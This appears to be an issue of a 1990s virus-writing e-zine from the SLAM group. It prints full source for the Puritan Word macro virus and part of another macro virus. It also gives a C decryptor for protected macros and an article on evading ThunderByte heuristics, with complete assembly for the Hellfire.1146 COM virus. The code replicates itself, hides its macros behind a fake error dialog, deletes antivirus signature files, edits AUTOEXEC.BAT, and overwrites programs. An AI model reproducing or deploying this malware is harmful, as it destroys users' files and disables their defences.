UZ$ = GetProfileString$("Intl", "Name")
MacroCopie "Global:" + UZ$, NomFen�tre$() + ":" + D$
D�finitVarDocument "VirName", D$
OutilsPersonnaliserClavier .CodeTouche = 32, .Cat�gorie = 2, .Nom = D$, .Ajouter, .Contexte = 1
End Sub

Sub PayloadMakro
-> sub-program to create the name of the macro number 3 (payload) and copy to a new file
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

K$ = C$ + A$
ZUZ$ = GetProfileString$("Intl", "Name3")
MacroCopie "Global:" + ZUZ$, NomFen�tre$() + ":" + K$
D�finitVarDocument "VirNamePayload", K$
End Sub

Function CheckInstalledDoc
-> test if the file is still infected
On Error Resume Next
CC$ = LitVarDoc$("VirNameDoc")    
	CheckInstalledDoc = 0
    If CompteMacros(1) > 0 Then
        For i = 1 To CompteMacros(1)
            If NomMacro$(i, 1) = CC$ Then
                CheckInstalledDoc = 1
            End If
        Next i
    End If
End Function
-------------------------------------------------
[ WordMacro. Puritan (1) ]�������������������������������������������������������

� VIRUSNAME:      Puritan (1)
� SIZE:           6607 Bytes (6 Macros)
� ORIGIN:         The Netherlands
� AUTHOR:         Neophyte

->Polymorf        No
->Stealth         Yes
->Encrypted       Yes, this file not but see virii.zip for encrypted version.
->Retro           Yes
-----------------------------------------------------------
Macro AutoOpen
-----------------------------------------------------------
Sub MAIN
 On Error Goto Z                        'Error Handler.
 iM = CountMacros(0, 0)                 'Count macros in Normal.Dot
 For i = 1 To M                         'Check if Normal.Dot (Global...
  If M$(i, 0, 0) = "Puritan" Then Y = - 1
  End If                                'Template) is already infected.
 Next i

 If Not Y Then                          'If not infected copy all macros...
  F$ = FileName$()                      'from infected file to Normal.Dot...
  S$ = F$ + ":Puritan"                  '(Global Template).
 MacroCopy S$, "Global:Puritan"
  S$ = F$ + ":Rtr"
 MacroCopy S$, "Global:Retro"
  S$ = F$ + ":FSAB"
 MacroCopy S$, "Global:FileSaveAs"
  S$ = F$ + ":FSAB"
 MacroCopy S$, "Global:FSAB"
  S$ = F$ + ":AOB"
 MacroCopy S$, "Global:AOB"
  S$ = F$ + ":ToolsMacro"
 MacroCopy S$, "Global:ToolsMacro"
 End If

ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = ""
                                        'After infection run the Retro macro...
                                        'to attack AV software.
Z:

End Sub

-----------------------------------------------------------
Macro AOB
-----------------------------------------------------------
Sub MAIN
 On Error Goto Z                        'Error Handler.
 iM = CountMacros(0, 0)                 'Count macros in Normal.Dot
 For i = 1 To M                         'Check if Normal.Dot (Global...
  If M$(i, 0, 0) = "Puritan" Then Y = - 1
  End If                                'Template) is already infected.
 Next i

 If Not Y Then                          'If not infected copy all macros...
  F$ = FileName$()                      'from infected file to Normal.Dot...
  S$ = F$ + ":Puritan"                  '(Global Template).
 MacroCopy S$, "Global:Puritan"
  S$ = F$ + ":Rtr"
 MacroCopy S$, "Global:Retro"
  S$ = F$ + ":FSAB"
 MacroCopy S$, "Global:FileSaveAs"
  S$ = F$ + ":FSAB"
 MacroCopy S$, "Global:FSAB"
  S$ = F$ + ":AOB"
 MacroCopy S$, "Global:AOB"
  S$ = F$ + ":ToolsMacro"
 MacroCopy S$, "Global:ToolsMacro"
 End If

ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = ""
                                        'After infection run the Retro macro...
                                        'to attack AV software.
Z:

End Sub

-----------------------------------------------------------
Macro FSAB
-----------------------------------------------------------
Sub MAIN
 Dim dlg As FileSaveAs                  'This is just a simple...
 On Error Goto Z                        'FileSaveAs Backup macro,
 F$ = FileName$()                       'it's sort of the same as...
 GetCurValues dlg                       'the concept virus.
 Dialog dlg
 If dlg.Format = 0 Then dlg.Format = 1
  T$ = F$ + ":AutoOpen"
 MacroCopy "Global:AOB", T$
  T$ = F$ + ":Retro"
 MacroCopy "Global:Rtr", T$
  T$ = F$ + ":AOB"
 MacroCopy "Global:AOB", T$
  T$ = F$ + ":FSAB"
 MacroCopy "Global:FSAB", T$
  T$ = F$ + ":Puritan"
 MacroCopy "Global:Puritan", T$
  T$ = F$ + ":ToolsMacro"
 MacroCopy "Global:ToolsMacro", T$
        FileSaveAs dlg
Goto Q

Z:
 If Err <> 102 Then
  FileSaveAs dlg
 End If
Q:

End Sub

-----------------------------------------------------------
Macro Puritan   'Just some dull text
-----------------------------------------------------------
REM	The Style of macro virii was invented by
REM     those with an Open mind...
	
REM	If you have an Open mind To other influences
REM	you will grow out as one of the best...

	'Poet of the highest quality ;-) from	
		   '--- Neophyte ----

-----------------------------------------------------------
Macro Rtr 'For attacking AV products.
-----------------------------------------------------------
Sub MAIN                                
 On Error Goto a                        'Error Handler
  VF$ = "C:\Program Files\Norton AntiVirus\Virscan.Dat"
                                        'VF$ are the scan strings...
                                        'from NAV.
 If Files$(VF$) = "" Then Goto a        'If VF$ not exists goto a.
 SetAttr VF$, 0                         'Else set attributes to none.
 Kill VF$                               'Then delete VF$ (The cool stuff).
				
a:                                      
 On Error Goto c                        'Error Handler.
  AB$ = "C:\Autoexec.bat"               'AB$ is AutoExec.bat.
 If Files$(AB$) = "" Then Goto c        'If AB$ doesn't exists goto c.
 SetAttr AB$, 0                         'else set attributes to none.

 Open AB$ For Append As #1              'And open AB$ for appending.
  Print #1, "@echo off"                 'Put this at the end of the...
  Print #1, "IF exist " + VF$ + " then del " + VF$
                                        'AutoExec.bat.
  Close #1                              'Close the AutoExec.bat.
                                        

c:                                      'All this down here should look...
 On Error Goto d                        'familiar, because it's the...
  VF$ = "C:\Program Files\F-Prot95\Fpwm32.dll"
 If Files$(VF$) = "" Then Goto d        'same as above, only with other...
 SetAttr VF$, 0                         'file names.
 Kill VF$
				
d:
  AB$ = "C:\Autoexec.bat"
 If Files$(AB$) = "" Then Goto f
 SetAttr AB$, 0
 Open AB$ For Append As #1
  Print #1, "IF exist " + VF$ + " then del " + VF$
  Close #1


f:

 On Error Goto g
  VF$ = "C:\Program Files\McAfee\Scan.dat"
 If Files$(VF$) = "" Then Goto g
 SetAttr VF$, 0
 Kill VF$
				
g:
  AB$ = "C:\Autoexec.bat"
 If Files$(AB$) = "" Then Goto h
 SetAttr AB$, 0
 Open AB$ For Append As #1
  Print #1, "IF exist " + VF$ + " then del " + VF$
  Close #1

h:

 On Error Goto i
  VF$ = "C:\Tbavw95\Tbscan.sig"
 If Files$(VF$) = "" Then Goto i
 SetAttr VF$, 0
 Kill VF$
				
i:
  AB$ = "C:\Autoexec.bat"
 If Files$(AB$) = "" Then Goto j
 SetAttr AB$, 0
 Open AB$ For Append As #1
  Print #1, "IF exist " + VF$ + " then del " + VF$
  Close #1


J:

Z:
End Sub

-----------------------------------------------------------
Macro ToolsMacro 'copied from NJ's MooNRaiDer virus, only a bit changed.
-----------------------------------------------------------
Sub MAIN

 B$ = "Out of memory."                  'B$ is the text Out Of Memory.
 C$ = "WordBasic Err = 7"               'C$ is the text WordBasic Err = 7.
Dim ComboBox1$(0)                       
ComboBox1$(0) = ""                      'ComboBox1$ is empty.
Dim ListBox1$(0)
ListBox1$(0) = ""                       'ListBox1$ is empty.
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot(Global Template)"
                                        'DropListBox2$ contains the text...
                                        'Normal.dot(Global Template).
A:
Begin Dialog UserDialog 442, 320, "Macro"       'Create a dialog called macro.
 CancelButton 290, 38, 141, 21                  'Create a cancelbutton.
  PushButton 290, 14, 141, 21, "Rec&ord...", .D2'Create a pushbutton with...
                                                'the label "Record..." the...
                                                '& stands for a _ a short-cut.
  PushButton 290, 72, 141, 21, "&Run", .D3      'Same as above.
 PushButton 290, 97, 141, 21, "&Create", .D4    'Same as above.
 PushButton 290, 125, 141, 21, "&Delete", .D5   'Same as above.
 PushButton 290, 161, 141, 21, "Or&ganizer...", .D6     'Same as above.
 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1     'Creates an empty...
                                                        'ComboBox.
  Text 6, 223, 93, 13, "Macros &Available In:", .T1     'Some text on the...
  Text 7, 259, 109, 13, "Description:", .T2             'dialog.
  Text 7, 7, 93, 13, "&Macro Name:", .T3
 ListBox 7, 276, 425, 38, ListBox1$(), .LB1             'Creates an empty...
                                                        'ListBox.
 DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2     'Creates a DropListBox...
                                        'containing the text: Normal.Dot(Global Template).                        
End Dialog                              'Ends the dialog.

Redim dlg As UserDialog                 'Opens the dialog for setting up...
 x = Dialog(dlg)                        'the things to do when a button is pushed.
Select Case x
 Case 0                                 'If the Cancel button is pushed...
  Cancel                                'just cancel the dialog.
 Case 1
  MsgBox B$, C$, 48                     'If another button is pushed...
  Goto A                                'Display a message box containing...
 Case 2                                 'the text:"Out Of Memory." and...
  MsgBox B$, C$, 48                     'has as title:"WordBasic Err = 7".
  Goto A
 Case 3
  MsgBox B$, C$, 48
  Goto A
 Case 4
  MsgBox B$, C$, 48
  Goto A
 Case 5
  MsgBox B$, C$, 48
  Goto A
 End Select
End Sub

------------------------The End-------------------------
                    --- Neophyte ---
[ WordMacro. Kali ]����������������������������������������������������������

� VIRUSNAME:      Kali
� SIZE:           18432 Bytes
� ORIGIN:         Taiwan
� AUTHOR:         ?????

->Polymorf        No
->Stealth         Yes
->Encrypted       Yes
->Retro           No
�����������������������������������������������������������������������������
No source here, because I hadn't got the source. But if you want the
source you could get it from the encrypted document kali.doc in virii.zip.
Use some decrypter to decrypt the file. But be aware...the document uses
stealth methods, so u aren't able to use the tools/macro facilitie. I got
lots of problems with it when I created the Puritan virus. When I got it
finished I wanted to change something in the virus, but i couldn't use
tools/macro, so i have been working on it for more then an hour. I got
crazy lots of things wouldn't worked.
Happy decrypting it :)

                     --- Neophyte & Aurodreph ---
THANKZ & GREETZ
---------------

We first wanna thank all our SLAM members for workin real hard to finish
this mag.

And now, in no specific order, the thankz & greetz. Don't be mad if we
forgot you. Just e-mail us and say it, although I doubt that you gonna
say it to us, you'll probably scream it :)

Cicatrix           Great VDAT man! Continue it!
God@rky            Lookin out for Newsletter #3
Dark Night         VBB #4 is great, I know it!
Omega              Our first distribution BBS :)
Sepultura          I'll send your questionnary soon
Neophyte           Thankx for all the great help you gave me on phreaking
Methyl             See yah on IRC soon
Mr. Sandman        Next time more assembler for you...until then bring me a dream
Lord of Entropy    Soon there will be a SLAM homepage, I know it


And for the groups:

VBB                It's back, and it's bigger then ever :)
29a                Great virus dissassemblies
IR/G               Waitin for IR #9
VLAD               It's a shame to see you go :(

And the other good-oldies like Phalcon-Skism, Trident, etc.

                 --- The SLAM Virus Team ---
WHAT'S NEXT
-----------

Ofcourse there will be a SLAM issue 2. I think about two months.
It will be the usual new techniques and lots of virus shit.

But for the techniques:
- If the AV-lamers ever make a heuristic macro scanner, we've got
  some ideas to avoid the heuristic scanning. Some sort of anti-
  heuristic.

- Improved retro.

- Polymorfism without numbers in the macro name.

- Any articles you send to us.

And for the other SLAM stuff:
- Interviews with SLAM membas and members from other groups.

- Improved viewers.


And lots of other things we and you come up with...

              --- The SLAM Virus Team ---
      --------------------------------------------------------------
                     Technique to decrypt macro saved
                        with the option IsReadOnly
			     ,
		 By     <****{=============-
			     ' AuRoDrEpH, the Drow
      --------------------------------------------------------------
         
The material you need :
	- a WORD document with a macro virus
	- MicroFuck WORD :-) of course
	- a good hex editor (UltraEdit, etc....)
	- some paper and a pencil
	- my little program (decrypt.exe)

Step 1 - Preparation of the document....
 Make a copy of the original file and your original NORMAL.DOT...
 then open the file with WORD (be careful because you will infect your system with the virus....). 
 Delete all the text in the document....
 Check if you don't have the OPTION / SAVE / QUICK SAVE enabled...
 Save the document...

Step 2 - Searching of the vital informations
 
  * find the encryption key....
	Locate the "real" filename of the document within the document,
	A few bytes after the end of the name, there is a "U", the byte 
		immediately following is the ... XOR value to use.
                                  
	If your document contain several encrypted macro, you will find a U for each macro...
	so you must copy all the encryption keys...

Exemple of document :
000019B0 0003 0A00 0002 0000 0300 0035 0300 0003 ...........5....
000019C0 0026 000B 4172 7468 7572 2044 656E 7417 .&..Arthur Dent.
000019D0 443A 5C49 4E46 4543 5445 445C 4845 4C50 D:\INFECTED\HELP
000019E0 4552 412E 444F 43FF 0101 0055 8E02 0000 ERA.DOC....U....
000019F0 00FF FF01 0300 0099 0100 0002 0000 006A ...............j
00001A00 5200 6F00 6F00 7400 2000 4500 6E00 7400 R.o.o.t. .E.n.t.
00001A10 7200 7900 0000 0000 0000 0000 0000 0000 r.y.............

Here the encryption key is 8e.... 

  * find the adress of the beginning and the end of the macro...
	move to the beginning of the document...
	then go down search something like this....( a pack of information without 00 00)
	( The true beginning of the macro as this form :
	  ?? ?? ?? cledec-1 cledec, here is 17F5.. but you can enter another value like 17E9
	
000017E0 0000 0000 0000 0000 0000 8F8E EA95 E78A ................
000017F0 C3CF C7C0 EAE9 100E E28F 8EEA 93E9 840E ................
00001800 8BE9 820E 8B88 9CE2 8A8E 9CE2 8C8E 8882 ................
00001810 E48C BFBE 90EA DFDC E95F 8EFD EE8E 82E4 ........._......
00001820 8AE6 EBE2 FEEA DAEA EAE7 8BFA E1FA EFE2 ................
00001830 82E9 390E 8BE2 8E8E 88EA E786 E7E0 E8EB ..9.............
00001840 EDFA EBEA 82E2 8E8E EAEA 93E7 8BFA E1FA ................
00001850 EFE2 81E2 8E8E 90EA DCAD E78B EDF7 EDE2 ................
00001860 EB82 E28F 8EAA E78B FAE1 FAEF E2EA E18C ................
00001870 93E9 360E 8BE7 8BED F7ED E2EB 9CE2 8E8E ..6.............
00001880 8882 E487 CFFB FAE1 CDE2 E1FD EB90 EAE1 ................
00001890 8CE0 8AE7 86E7 E0E8 EBED FAEB EA82 E28F ................
000018A0 8EEA E18C 9493 EADC A8E7 8BED F7ED E2EB ................
000018B0 EA94 93EA EAE7 8BE0 EFE3 EBAA 82E9 B50E ................
000018C0 8B88 89E4 84B4 CFFB FAE1 CDE2 E1FD EBEA ................
000018D0 EA93 E786 E7E0 E8EB EDFA EBEA 83E2 8F8E ................
000018E0 90EA DCE9 4C0E E78B E0EF E3EB AA9C E49E ....L...........
000018F0 C9E2 E1EC EFE2 B4CF FBFA E1CD E2E1 FDEB ................
00001900 9CE2 8F8E EAAE EADC E786 E7E0 E8EB EDFA ................
00001910 EBEA 82E2 8E8E EA94 93EA EA93 E939 0E8B .............9..
00001920 E28F 8E88 83E2 8E8E 90EA E18C E786 E7E0 ................
00001930 E8EB EDFA EBEA 82E2 8F8E EA94 93EA EA93 ................
00001940 E786 E7E0 E8EB EDFA EBEA 82E2 8E8E 90EA ................
00001950 E18C E9DA 8EFD 458E 82E2 8F8E EAE1 8CE9 ......E.........
00001960 4C0E E49E C9E2 E1EC EFE2 B4CF FBFA E1CD L...............
00001970 E2E1 FDEB 9CE7 8BE0 EFE3 EBAA EA94 93EA ................
00001980 EA94 9500 0000 0035 0000 0003 00FF FFFF .......5........
00001990 FF03 00FF FFFF FF01 0004 20FF FF01 0000 .......... .....
000019A0 0000 0035 0000 0000 0000 0000 0000 0300 ...5............

The end of the macro block is just before a serie of 00 00 00... Here is 1983

Step 3 - Run the program DECRYPT.EXE
	easy ... with all the information you have find, you will win...
	This operation will create a document DECRYPT.DOC.

Step 4 - Open Word and read the file decrypt.doc
	If you have a error message, when you open the document it's normal.

	Go to the Tools/Macro and select each macro..
	Be careful not to double click on the macro, this execute its
	Only one macro can be read it's normal!!!
	
Step 5 - repeat the step 3 and 4 for each macro...

Then you have the virus decrypted...

Tips : * if your document is > 32 ko, my soft doesn't work, so delete some macros and save the
	document.. the size will decrease..

If you have some comments or some ideas, please mail me to AURODREPH@defiant.ilf.net
   
Here is the source. You can modify as you want.. I just want you send me you modification...
 ---><---><---><---><---><---><---><---><---><---><---><---><---><---><---><

/*********
 Decode macro virus
	version 1.000.001 beta


#include "io.h"
#include "stdlib.h"
#include "stdio.h"
#include "conio.h"
#include "process.h"
#include "fcntl.h"
#include "sys\stat.h"

void main (void)
 {
	char Name[13];
	char Target[]="decrypt.doc";
	int cledec, debmac, finmac, Handler, Handler1;
	unsigned char *Buffer;
	unsigned int Offset;
	unsigned long Length = 0;

	clrscr();
	printf (" ******************************************************************\n");
	printf (" *                                                                *\n");
	printf (" *               DECRYPT WORD 6.0 MACROS saved                    *\n");
	printf (" *                 with the option IsReadOnly                     *\n");
	printf (" *                    Version 1.000.001 beta                      *\n");
	printf (" *                                                                *\n");
	printf (" *           ,                                                    *\n");
	printf (" *     <*****}===============-                                    *\n");
	printf (" *      (z)  ' AURODREPH Productions 04/1996                      *\n");
	printf (" ******************************************************************\n");
	printf ("\n"); printf("\n");
	printf ("Name of source file      = ");
	scanf ("%12s",Name);
	printf ("\n");
	printf ("Decrypt Key              = ");
	scanf ("%x",&cledec);
	printf("\n");
	printf ("Begin of the macros (05EF)= ");
	scanf ("%x",&debmac);
	printf("\n");
	printf ("End of the macros         = ");
	scanf ("%x",&finmac);
	printf("\n");

	Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD);
	if (Handler == -1)
		{printf ("Source file doesn't exist... \n"); exit(0);}

	Length= (unsigned long) lseek(Handler, 0, SEEK_END);
	lseek (Handler,0,SEEK_SET);
	printf ("length = %lu octets \n", Length);

	if (Length >(256L*256))
		{close (Handler);
		printf ("File too long (>32 ko)... %lu octets \n", Length);
		exit (0);}

	Buffer = (unsigned char *) malloc((unsigned) Length);

	if (Buffer == NULL) printf ("Memory Allocation....\n");

	if (read(Handler, Buffer, (unsigned) Length) != Length)
		{ /*exit (0);*/}

/* beginning for the decryption routine */
	for (Offset = debmac; Offset < finmac; Offset++)
	 { Buffer[Offset] ^= cledec; };
/* end of the procedure */

/* Delete the Word protection */
	for (Offset = 0x0000; Offset < Length; Offset++)
	 {
	  if ( (Buffer[Offset] == 0x00) && (Buffer[Offset+1] == 0x55)
	  			&& (Buffer[Offset+2] == cledec))
			{Buffer [Offset+2] = 0x00;
			}
	 };
/* end of the procedure */

	_fmode= O_BINARY;
	Handler1 = creat(Target, S_IREAD | S_IWRITE);
	write (Handler1, Buffer,(unsigned) Length);

	close (Handler1);
	close (Handler);
	printf("\n");
	printf ("done...");
}
          Generic Anti-Heuristic Encryption Technique for TBAV v7.07
            Method, Article and Demonstration Virus by Gothmog/DHA

As virus scanners become increasingly more complicated, viruses must as well;
the days when adding a few NOPs or switching a couple instructions around was
all you needed to do to create an unscannable masterpiece are gone forever.
Now, with ThunderByte AntiVirus's new and improved heuristic engine, the days
of signature-based heuristics are over as well--the new engine bases its
flagging on the function of a program instead of on its syntax; for example,
it no longer looks for a "mov ah, 40h" followed soon by an "int 21h", but
rather for an "int 21h" that has a value of ah=40h upon execution. In short,
many anti-heuristic tricks that worked wonders only several versions of TBAV
ago are obsolete.

One aspect of ThunderByte's scanning has remained constant, however, and that
is its encryption algorithm detection. Instead of using lengthy bypasses to
remove all your virus's heuristic flags, you only need create an encryption
routine that is not detected by TBAV's algorithmic scanning--a far simpler
task.

In the past, this common scheme could be used to overcome TBAV's heuristics;
it relied upon the fact that the false jump confused the encryption routine
detector, and was on the whole quite successful and effective:

; ===========================================================================
;               Encryption/Decryption code taken from Ahav.383
; ===========================================================================

key             dw      0000

decrypt:
        mov     dx, word ptr [bp+offset key]          ; bp holds virus offset

; in ahav, dx was set to a random word on entering the routine, therefore two
; entry points were used... other routines can and will vary. be creative....

encrypt:
        lea     si, [offset start_encrypt+bp]
        jmp     false_jump

xor_loop:
        lodsw
        xor     ax,dx
        stosw
        loop    xor_loop
        ret

false_jump:
        mov     cx, (end_encrypt - start_encrypt + 1) / 2
        mov     di, si
        jmp     xor_loop

; ============================================================[ code ends ]==

Unfortunately, such an approach no longer works with ThunderByte; the virus
is decrypted, and gets the # flag as well as any applicable flags that the
encrypted portion triggers:

C:\VIRUS\DHA\AHAV-383.COM infected by Ahav.336-383 virus
c  No checksum / recovery information (Anti-Vir.Dat) available.
F  Suspicious file access.  Might be able to infect a file.
S  Contains a routine to search for executable (.COM or .EXE) files.
#  Found a code decryption routine or debugger trap.  This is common
   for viruses but also for some copy-protected software.
O  Found code that can be used to overwrite/move a program in memory.
B  Back to entry point.  Contains code to re-start the program after
   modifications at the entry-point are made.  Very usual for viruses.

Clearly, some new encryption routine is needed... And _that_ is what this
article is about.

I was fooling around with my encryption code the other day, testing ideas for
simple, anti-heuristic xor encryption schemes, and I came up with the method
that this article is concerned with. It is based upon the same idea as Ahav's
xor loop--that is, to conceal the function of the loop by disguising it as
some other innocuous control structure. Without further ado, here is the code;
it should be pretty much self-explanatory:

; ===========================================================================
;       Generic Anti-Heuristic Encryption/Decryption Code for TBAV v7.07
; ===========================================================================

encrypt:
decrypt:
        mov     si, offset start_encrypt
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xor_loop:
        lodsw
        jmp     false_jump

false_jump_2:
        stosw
        loop    xor_loop
        ret

false_jump:
        db      35h                               ; db for xor ax, word value

key             dw      0000

        jnc     false_jump_2 ; <------ this statement fools tbav's heuristics

; continue your code as necessary here; tbav will not locate any decryption
; loop, and any suspicious code inside the encrypted region will not trigger
; any flags... see below for a demonstration virus which uses this technique,
; and passes all heuristics without a hitch.

; ============================================================[ code ends ]==

The essence of this technique is the jnc instruction; since there is no good
reason why the carry flag should be set when that instruction is executed,
control will always flow to false_jump_2 and thus into the remainder of the
decryption code. Thunderbyte, however, sees this as a complex control struct-
ure and _NOT_ as a decryption loop, and will not even consider any code
inside the encryption area in its further testing.

To demonstrate this, I cooked up a quickie overwriter, just to show how silly
TBAV's algorithm is. The Hellfire.1146 virus decrypts itself, searches for a
com file, checks for prior infection, hooks int 24 while infecting, preserves
file attributes, size, and file date/time, and displays a fake "Bad command
or file name" message. When all the files in the current directory are
infected, it will display an ansi screen and lock in an infinite loop.

Nothing spectacular, but it demonstrates this anti-heuristic method's true
effectiveness...

; ===========================================================================
; Hellfire.1146 Anti-Heuristic Demonstration Virus     Written by Gothmog/DHA
; ===========================================================================
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 hell1146.asm     (/m1 creates an 1148 byte variant)
;                tlink /t hell1146.obj
;
; Alternately:   a86 hell1146.asm hell1146.com   (makes an 1157 byte variant)

.model tiny
.code

        org     100h

startvirus:
        call    decrypt

start_encrypt:
        mov     ah, 4Eh

findfile:
        mov     cx, 07h
        mov     dx, offset com_mask
        int     21h
        jc      writemessage

        mov     dx, 9Eh
        mov     ax, 3D00h
        int     21h
        xchg    ax, bx

readFile:
        mov     ah, 3Fh
        mov     cx, 01h
        mov     dx, offset bugger
        int     21h

closeFile:
        mov     ah, 3Eh
        int     21h

checkfile:
        mov     ah, 4Fh

        cmp     byte ptr[bugger], 0E8h
        je      findfile

        cmp     word ptr cs:[9Ah], offset endvirus-offset startvirus
        jl      findfile

filegood:
        mov     ax, 2524h
        mov     dx, offset [Int24Handler+bp]
        int     21h

        mov     ax, 4300h
        mov     dx, 9Eh
        int     21h

        push    cx

        mov     ax, 4301h
        xor     cx, cx
        int     21h

        mov     ax, 3D02h
        int     21h
        xchg    ax, bx

infectfile:
        mov     ah, 2Ch
        int     21h
        mov     key, dx

        mov     ah, 40h
        push    ax

        mov     cx, offset endvirus - offset startvirus
        push    cx

        mov     dx, offset startvirus

        jmp     writefile

writefakeerror:
        mov     ax, 4301h
        mov     dx, 9Eh
        pop     cx
        int     21h

        mov     ax, 5701h
        mov     cx, word ptr cs:[096h]
        mov     dx, word ptr cs:[098h]
        int     21h

        mov     ah, 09h
        mov     dx, offset fakeerror
        int     21h

quitvirus:
        int     20h

writemessage:
        mov     ah, 0Fh
        int     10h

        xor     ah, ah
        int     10h

        mov     ah, 01h
        mov     cx, 2607h
        int     10h

        mov     ax, 0B800h
        mov     es, ax
        mov     cx, 815
        mov     si, offset msghellfire
        xor     di, di

uncrunch:
        xor     dx, dx
        xor     ax, ax
        cld

loop_a:
        lodsb
        cmp     al, 32
        jc      foreground
        stosw

next:
        loop    loop_a
        jmp     done

foreground:
        cmp     al, 16
        jnc     background
        and     ah, 0F0h
        or      ah, al
        jmp     next

background:
        cmp     al, 24
        jz      next_line
        jnc     flash_bit_toggle
        sub     al, 16
        add     al, al
        add     al, al
        add     al, al
        add     al, al
        and     ah, 8Fh
        or      ah, al
        jmp     next

next_line:
        add     dx, 160
        mov     di, dx
        jmp     next

flash_bit_toggle:
        cmp     al, 27
        jc      multi_output
        jnz     next
        xor     ah, 128
        jmp     next

multi_output:
        cmp     al, 25
        mov     bx, cx
        lodsb
        mov     cl, al
        mov     al, 32
        jz      start_output
        lodsb
        dec     bx

start_output:
        xor     ch, ch
        inc     cx
        rep     stosw
        mov     cx, bx
        dec     cx
        loopnz  loop_a

done:
        jmp     done

Int24Handler:
        mov     al, 03h
        iret

com_mask        db      '*.com', 0
fakeerror       db      'Bad command or file name', 0Dh, 0Ah, '



msghellfire     db      8,16,26,'O�',24,26,'O�',24,26,'O�',24,26,11,'�',15,20
                db      '�',26,'3Ŀ',8,16,26,13,'�',24,26,11,'�',15,20,'�  ',12
                db      26,6,'/  ',14,'uh oh, you',39,'ve been infected with'
                db      ' a virus ',15,'�',7,16,'��',8,26,11,'�',24,26,11,'�'
                db      15,20,'�  ',12,'//',25,3,'O',25,2,15,27,'�  � ��Ŀ �'
                db      25,3,'�',25,3,'��Ŀ ��� ��Ŀ ��Ŀ  ',27,'�',7,16,'��'
                db      8,26,11,'�',24,26,11,'�',15,20,'� ',12,'//',25,5,'> '
                db      ' ',15,27,'��Ĵ ��',25,2,'�',25,3,'�',25,3,'��',25,3,'�'
                db      '  ���� ��',25,3,27,'�',7,16,'��',8,26,11,'�',24,26,11
                db      '�',15,20,'�  ',12,'/ \__ ~',25,2,15,27,'�  � ���� �'
                db      '��� ���� �',25,3,'��� � �  ����  ',27,'�',7,16,'��',8
                db      26,11,'�',24,26,11,'�',15,20,'�',25,3,12,'||',25,26,26
                db      4,'/',25,13,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�'
                db      15,20,'�  ',12,'(\ \)',25,2,'(~)',25,19,'//  o',25,13
                db      15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15,20,'�  '
                db      12,'( \ \  / /',25,19,'//',25,3,'>',25,12,15,'�',7,16
                db      '��',8,26,11,'�',24,26,11,'�',15,20,'�  ',12,'(  \ \'
                db      '/ /',25,8,26,11,'_/ \__O',25,13,15,'�',7,16,'��',8,26
                db      11,'�',24,26,11,'�',15,20,'�  ',12,'(',25,2,'\__/',25
                db      8,'/  ___ ',26,5,'_\//',25,16,15,'�',7,16,'��',8,26,11
                db      '�',24,26,11,'�',15,20,'�  ',12,'/',25,2,'| /@',25,7,'('
                db      '  /  / ',26,5,'_)/',25,17,15,'�',7,16,'��',8,26,11,'�'
                db      24,26,11,'�',15,20,'� ',12,'(',25,3,'|//',25,9,'\ \ '
                db      '/ /',25,2,'(_)',25,19,15,'�',7,16,'��',8,26,11,'�',24
                db      26,11,'�',15,20,'�  ',12,'\',25,2,'()',25,11,'\ \O/',25
                db      26,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15,20,'�'
                db      25,2,12,'\  |',25,13,') )',25,27,15,'�',7,16,'��',8,26
                db      11,'�',24,26,11,'�',15,20,'�',25,3,12,') )',25,12,'/'
                db      ' /',25,28,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15
                db      20,'�',25,2,12,'(  |_',25,10,'/ /_  ',10,'so, do you'
                db      ' like taking it  ',15,'�',7,16,'��',8,26,11,'�',24,26
                db      11,'�',15,20,'�',25,2,12,'(',26,3,'_>',25,8,'(',26,3,'_'
                db      '>',25,7,10,'up the ass?',25,8,15,'�',7,16,'��',8,26,11
                db      '�',24,26,11,'�',15,20,'�',26,'3��',7,16,'��',8,26,11
                db      '�',24,26,13,'�',7,26,'5�',8,26,11,'�',24,26,'O�',24,26
                db      'O�',24,26,'O�',24

end_encrypt     equ     $ - 1

writefile:
        call    encrypt
        pop     cx
        pop     ax
        int     21h
        call    decrypt
        jmp     writefakeerror

encrypt:
decrypt:
        mov     si, offset start_encrypt
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xorLoop:
        lodsw
        jmp     hahahahaha

oioioioioi:
        stosw
        loop    xorLoop
        ret

hahahahaha:
        db      35h

key             dw      0000

        jnc     oioioioioi

endvirus:

bugger          db      ?
f_attr          db      09h dup (?)

        end     startvirus

; ============================================================[ code ends ]==

For those of you reading without a working assembler (there might be one or
two, you never know...), here is a uuencoded first-generation copy of the
virus, simply run UUDECODE or its equivalent on the article, or cut and
paste the encoded section into a text file and decode it:

section 1/1   file hell1146.com   [ Wincode 2.7.3 ]

begin 644 hell1146.com
